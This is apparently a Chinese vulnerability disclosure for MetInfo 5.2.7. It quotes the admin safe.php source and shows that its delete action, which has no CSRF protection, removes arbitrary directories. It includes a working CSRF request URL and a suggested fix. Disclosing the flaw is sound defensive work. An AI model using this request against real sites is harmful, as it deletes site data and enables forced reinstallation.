Metinfo某漏洞可导致重装网站

官方最新的5.2.7 (测试通过)

问题出现在 metinfo/admin/system/safe.php
 

<?php
# MetInfo Enterprise Content Management System 
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 
require_once '../login/login_check.php';
$adminfile=$url_array[count($url_array)-2];
if($action=="delete"){
if($filename=='update')@chmod('../../update/install.lock',0777);
function deldirs($dir){
  $dh=opendir($dir);
  while ($file=readdir($dh)) {
if($file!="." && $file!="..") {
  $fullpath=$dir."/".$file;
  if(!is_dir($fullpath)) {
  unlink($fullpath);
  } else {
  deldir($fullpath);
  }
}
}

  closedir($dh);
  if($dir!='../../upload'){
if(rmdir($dir)) {
return true;
} else {
return false;
}
}
} 
$dir='../../'.$filename;
deldirs($dir);
metsave('../system/safe.php?anyid='.$anyid.'&lang='.$lang);
}
if($action=="modify"){
if($met_adminfile!=""&&$met_adminfile!=$adminfile){
$met_adminfile_temp=$met_adminfile;
$met_adminfile_code=authcode($met_adminfile,'ENCODE', $met_webkeys);
require_once $depth.'../include/config.php';
Header("Location: ../index.php?lang=".$lang."&action=renameadmin&adminmodify=1&met_adminfile=".$met_adminfile_temp);
}else{
require_once $depth.'../include/config.php';
metsave('../system/safe.php?anyid='.$anyid.'&lang='.$lang);
}
}else{
$localurl="http://";
$localurl.=$_SERVER['HTTP_HOST'].$_SERVER["PHP_SELF"];
$localurl_a=explode("/",$localurl);
$localurl_count=count($localurl_a);
$localurl_admin=$localurl_a[$localurl_count-3];
$localurl_admin=$localurl_admin."/system/safe";
$localurl_real=explode($localurl_admin,$localurl);
$localurl=$localurl_real[0];
if(!is_dir('../../install'))$installstyle="display:none;";
if(!is_dir('../../update'))$updatestyle="display:none;";
$met_login_code1[$met_login_code]="checked='checked'";
$met_memberlogin_code1[$met_memberlogin_code]="checked='checked'";
$met_automatic_upgrade1[$met_automatic_upgrade]="checked";


$css_url="../templates/".$met_skin."/css";
$img_url="../templates/".$met_skin."/images";
include template('system/set_safe');
footer();
}
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

当action为delete的时候，便可以删除任意目录（因为没CSRF防护所以可以进行CSRF攻击）

可以构造CSRF请求：
 

http://localhost/metinfo/admin/system/safe.php?anyid=12&action=delete&filename=test&lang=cn

上面请求可删除名为'test'的目录
 

过后尝试发起请求，test目录就被删除了

修复方案：

增加一些防CSRF措施和只允许删除install目录